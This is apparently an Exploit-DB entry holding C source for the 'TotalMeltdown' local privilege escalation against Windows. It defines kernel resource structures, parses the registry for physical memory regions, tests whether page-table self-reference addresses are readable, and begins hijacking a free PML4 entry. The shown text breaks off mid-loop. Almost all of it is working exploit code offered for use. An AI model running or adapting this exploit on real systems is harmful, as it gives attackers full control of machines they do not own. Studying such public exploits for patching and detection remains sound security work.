Exploit-DB #44581
Description: Microsoft Windows - Local Privilege Escalation
Type: local
Platform: windows
Date: 2018-04-24
Author: XPN

Exploit:
#include "stdafx.h"

#define	PML4_BASE	0xFFFFF6FB7DBED000
#define	PDP_BASE	0xFFFFF6FB7DA00000
#define	PD_BASE		0xFFFFF6FB40000000
#define	PT_BASE	0xFFFFF[PII_REDACTED]0

typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;

#pragma pack(push,4)
typedef struct _CM_PARTIAL_RESOURCE_DESCRIPTOR {
	UCHAR Type;
	UCHAR ShareDisposition;
	USHORT Flags;
	union {
		struct {
			PHYSICAL_ADDRESS Start;
			ULONG Length;
		} Generic;

		struct {
			PHYSICAL_ADDRESS Start;
			ULONG Length;
		} Port;

		struct {
#if defined(NT_PROCESSOR_GROUPS)
			USHORT Level;
			USHORT Group;
#else
			ULONG Level;
#endif
			ULONG Vector;
			KAFFINITY Affinity;
		} Interrupt;

		struct {
			union {
				struct {
#if defined(NT_PROCESSOR_GROUPS)
					USHORT Group;
#else
					USHORT Reserved;
#endif
					USHORT MessageCount;
					ULONG Vector;
					KAFFINITY Affinity;
				} Raw;

				struct {
#if defined(NT_PROCESSOR_GROUPS)
					USHORT Level;
					USHORT Group;
#else
					ULONG Level;
#endif
					ULONG Vector;
					KAFFINITY Affinity;
				} Translated;
			} DUMMYUNIONNAME;
		} MessageInterrupt;

		struct {
			PHYSICAL_ADDRESS Start; 
			ULONG Length;
		} Memory;

		struct {
			ULONG Channel;
			ULONG Port;
			ULONG Reserved1;
		} Dma;

		struct {
			ULONG Channel;
			ULONG RequestLine;
			UCHAR TransferWidth;
			UCHAR Reserved1;
			UCHAR Reserved2;
			UCHAR Reserved3;
		} DmaV3;

		struct {
			ULONG Data[3];
		} DevicePrivate;

		struct {
			ULONG Start;
			ULONG Length;
			ULONG Reserved;
		} BusNumber;

		struct {
			ULONG DataSize;
			ULONG Reserved1;
			ULONG Reserved2;
		} DeviceSpecificData;

		struct {
			PHYSICAL_ADDRESS Start;
			ULONG Length40;
		} Memory40;

		struct {
			PHYSICAL_ADDRESS Start;
			ULONG Length48;
		} Memory48;

		struct {
			PHYSICAL_ADDRESS Start;
			ULONG Length64;
		} Memory64;

		struct {
			UCHAR Class;
			UCHAR Type;
			UCHAR Reserved1;
			UCHAR Reserved2;
			ULONG IdLowPart;
			ULONG IdHighPart;
		} Connection;

	} u;
} CM_PARTIAL_RESOURCE_DESCRIPTOR, *PCM_PARTIAL_RESOURCE_DESCRIPTOR;
#pragma pack(pop,4)

typedef enum _INTERFACE_TYPE {
	InterfaceTypeUndefined,
	Internal,
	Isa,
	Eisa,
	MicroChannel,
	TurboChannel,
	PCIBus,
	VMEBus,
	NuBus,
	PCMCIABus,
	CBus,
	MPIBus,
	MPSABus,
	ProcessorInternal,
	InternalPowerBus,
	PNPISABus,
	PNPBus,
	Vmcs,
	ACPIBus,
	MaximumInterfaceType
} INTERFACE_TYPE, *PINTERFACE_TYPE;

typedef struct _CM_PARTIAL_RESOURCE_LIST {
	USHORT                         Version;
	USHORT                         Revision;
	ULONG                          Count;
	CM_PARTIAL_RESOURCE_DESCRIPTOR PartialDescriptors[1];
} CM_PARTIAL_RESOURCE_LIST, *PCM_PARTIAL_RESOURCE_LIST;

typedef struct _CM_FULL_RESOURCE_DESCRIPTOR {
	INTERFACE_TYPE           InterfaceType;
	ULONG                    BusNumber;
	CM_PARTIAL_RESOURCE_LIST PartialResourceList;
} *PCM_FULL_RESOURCE_DESCRIPTOR, CM_FULL_RESOURCE_DESCRIPTOR;

typedef struct _CM_RESOURCE_LIST {
	ULONG                       Count;
	CM_FULL_RESOURCE_DESCRIPTOR List[1];
} *PCM_RESOURCE_LIST, CM_RESOURCE_LIST;

struct memory_region {
	ULONG64 size;
	ULONG64 address;
};

// Very hack'y way of trying to map out physical memory regions to try and reduce
// risk of BSOD
DWORD parse_memory_map(struct memory_region *regions) {
	HKEY hKey = NULL;
	LPTSTR pszSubKey = L"Hardware\\ResourceMap\\System Resources\\Physical Memory";
	LPTSTR pszValueName = L".Translated";
	LPBYTE lpData = NULL;
	DWORD dwLength = 0, count = 0, type = 0;;

	if (!RegOpenKey(HKEY_LOCAL_MACHINE, pszSubKey, &hKey) == ERROR_SUCCESS)
	{
		printf("[*] Could not get reg key\n");
		return 0;
	}

	if (!RegQueryValueEx(hKey, pszValueName, 0, &type, NULL, &dwLength) == ERROR_SUCCESS)
	{
		printf("[*] Could not query hardware key\n");
		return 0;
	}

	lpData = (LPBYTE)malloc(dwLength);
	RegQueryValueEx(hKey, pszValueName, 0, &type, lpData, &dwLength);

	CM_RESOURCE_LIST *resource_list = (CM_RESOURCE_LIST *)lpData;

	for (int i = 0; i < resource_list->Count; i++) {
		for (int j = 0; j < resource_list->List[0].PartialResourceList.Count; j++) {
			if (resource_list->List[i].PartialResourceList.PartialDescriptors[j].Type == 3) {
				regions->address = resource_list->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Start.QuadPart;
				regions->size = resource_list->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Length;
				regions++;
				count++;
			}
		}
	}

	return count;
}

int main()
{
	printf("TotalMeltdown PrivEsc exploit by @_xpn_\n");
	printf("  paging code by @UlfFrisk\n\n");

	unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
	DWORD done;
	DWORD count;

	// Parse registry for physical memory regions
	printf("[*] Getting physical memory regions from registry\n");
	struct memory_region *regions = (struct memory_region *)malloc(sizeof(struct memory_region) * 10);

	count = parse_memory_map(regions);
	if (count == 0) {
		printf("[X] Could not find physical memory region, quitting\n");
		return 2;
	}

	for (int i = 0; i < count; i++) {
		printf("[*] Phyiscal memory region found: %p - %p\n", regions[i].address, regions[i].address + regions[i].size);
	}

	// Check for vulnerability
	__try {
		int test = *(unsigned long long *)PML4_BASE;
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		printf("[X] Could not access PML4 address, system likely not vulnerable\n");
		return 2;
	}

	// setup: PDPT @ fixed hi-jacked physical address: 0x10000
	// This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
	// we can hijack.
	for (iPML4 = 256; iPML4 < 512; iPML4++) {
		vaPML4e = PML4_BASE + (iPML4 << 3);
		if (*(unsigned long long *)vaPML4e) { continue; }

		// When we find an entry, we add a pointer to the next table (PDPT), which will be
		// stored at the physical addr